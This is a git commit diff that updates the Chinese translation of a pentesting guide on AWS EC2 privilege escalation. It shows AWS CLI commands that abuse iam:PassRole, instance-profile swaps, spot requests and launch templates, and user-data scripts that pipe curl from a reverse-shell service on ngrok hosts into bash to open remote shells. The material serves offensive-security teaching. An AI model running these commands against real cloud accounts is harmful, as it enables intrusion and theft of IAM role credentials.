Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/

This commit is contained in:
Translator
2025-02-06 02:14:27 +00:00
parent 1620c2e383
commit b9fd78752e

View File

@@ -16,7 +16,7 @@
- **通过 SSH 访问**
使用 **创建的** **ssh 密钥** (`--key-name`) 运行一个新实例,然后 ssh 进入它(如果您想创建一个新的,您可能需要拥有权限 `ec2:CreateKeyPair`)。
使用 **创建的** **ssh 密钥** (`--key-name`) 运行一个新实例,然后 ssh 进入它(如果您想创建一个新的,您可能需要拥有 `ec2:CreateKeyPair` 权限)。
```bash
aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--iam-instance-profile Name=<instance-profile-name> --key-name <ssh-key> \
@@ -30,7 +30,7 @@ echo '#!/bin/bash
curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh
aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--iam-instance-profile Name=E<instance-profile-name> \
--iam-instance-profile Name=<instance-profile-name> \
--count 1 \
--user-data "file:///tmp/rev.sh"
```
@@ -44,7 +44,7 @@ aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
#### 提升权限到 ECS
通过这组权限,您还可以 **创建一个 EC2 实例并将其注册到 ECS 集群中**。这样ECS **服务** 将在您有访问权限的 **EC2 实例** **运行**然后您可以渗透这些服务docker 容器)并 **窃取其附加的 ECS 角色**
通过这组权限,您还可以 **创建一个 EC2 实例并将其注册到 ECS 集群中**。这样ECS **服务** 将在您有访问权限的 **EC2 实例** **运行**然后您可以渗透这些服务docker 容器)并 **窃取其附加的 ECS 角色**
```bash
aws ec2 run-instances \
--image-id ami-07fde2ae86109a2af \
@@ -80,7 +80,7 @@ aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-
# Add role to instance profile
aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name <name>
```
如果**实例配置文件有角色**攻击者**无法移除它**,还有另一种变通方法。他可以**找到**一个**没有角色的实例配置文件**或**创建一个新的**`iam:CreateInstanceProfile`**将**该**角色**添加到该**实例配置文件**(如前所述),并**将实例配置文件**关联到一个被攻陷的**实例:**
如果**实例配置文件有角色**攻击者**无法移除它**,还有另一种变通方法。他可以**找到**一个**没有角色的实例配置文件**或**创建一个新的**`iam:CreateInstanceProfile`**将角色添加**到该**实例配置文件**(如前所述),并**将实例配置文件**关联到一个被攻陷的**实例:**
- 如果实例**没有任何实例**配置文件(`ec2:AssociateIamInstanceProfile`
```bash
@@ -92,7 +92,7 @@ aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --ins
拥有这些权限后,可以更改与实例关联的实例配置文件,因此如果攻击者已经访问了一个实例,他将能够通过更改与之关联的配置文件来窃取更多实例配置文件角色的凭据。
- 如果它 **有一个实例配置文件**,您可以 **移除** 实例配置文件 (`ec2:DisassociateIamInstanceProfile`) 并 **关联**
- 如果它 **有一个实例配置文件**,您可以 **移除** 实例配置文件 (`ec2:DisassociateIamInstanceProfile`) 并 **关联**
```bash
aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
aws ec2 disassociate-iam-instance-profile --association-id <value>
@@ -106,7 +106,7 @@ aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name=<va
### `ec2:RequestSpotInstances`,`iam:PassRole`
拥有权限 **`ec2:RequestSpotInstances``iam:PassRole`** 的攻击者可以 **请求** 一个 **附加了 EC2 角色****Spot 实例**,并在 **用户数据** 中放置一个 **反向 shell**。\
拥有权限 **`ec2:RequestSpotInstances``iam:PassRole`** 的攻击者可以 **请求** 一个 **附加了 EC2 角色****Spot 实例**一个 **反向 shell****用户数据**。\
一旦实例运行,他可以 **窃取 IAM 角色**
```bash
REV=$(printf '#!/bin/bash
@@ -121,7 +121,7 @@ aws ec2 request-spot-instances \
拥有 **`ec2:ModifyInstanceAttribute`** 的攻击者可以修改实例属性。其中,他可以 **更改用户数据**,这意味着他可以使实例 **运行任意数据**。这可以用来获取 **对 EC2 实例的反向 shell**
请注意,属性只能在实例 **停止时** 进行 **修改**,因此需要 **权限** **`ec2:StopInstances`** 和 **`ec2:StartInstances`**。
请注意,属性只能在 **实例停止时** **修改**,因此需要 **权限** **`ec2:StopInstances`** 和 **`ec2:StartInstances`**。
```bash
TEXT='Content-Type: multipart/mixed; boundary="//"
MIME-Version: 1.0
@@ -162,7 +162,7 @@ aws ec2 start-instances --instance-ids $INSTANCE_ID
### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate`
有权限 **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate``ec2:ModifyLaunchTemplate`** 的攻击者可以创建一个 **新的启动模板版本**,在 **用户数据** 中包含 **反向 shell****任何 EC2 IAM 角色**,更改默认版本,任何 **使用****启动模板****自动扩展组** 如果配置为使用 **最新****默认版本**,将会 **重新运行实例**,并执行反向 shell。
有权限 **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate``ec2:ModifyLaunchTemplate`** 的攻击者可以创建一个 **新的启动模板版本**,在 **用户数据** 中包含 **反向 shell****任何 EC2 IAM 角色**,更改默认版本,任何 **使用****启动模板****自动扩展组** 如果配置为使用 **最新****默认版本**,将会 **重新运行实例**,并执行反向 shell。
```bash
REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
@@ -231,7 +231,7 @@ ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-
```
这种方式对权限提升并不是很有用,因为你需要知道用户名和密码才能利用它。
**潜在影响:**(高度不可证)直接权限提升到附加到运行实例的 EC2 IAM 角色。
**潜在影响:**(高度不可证)直接权限提升到附加到运行实例的 EC2 IAM 角色。
### `describe-launch-templates`,`describe-launch-template-versions`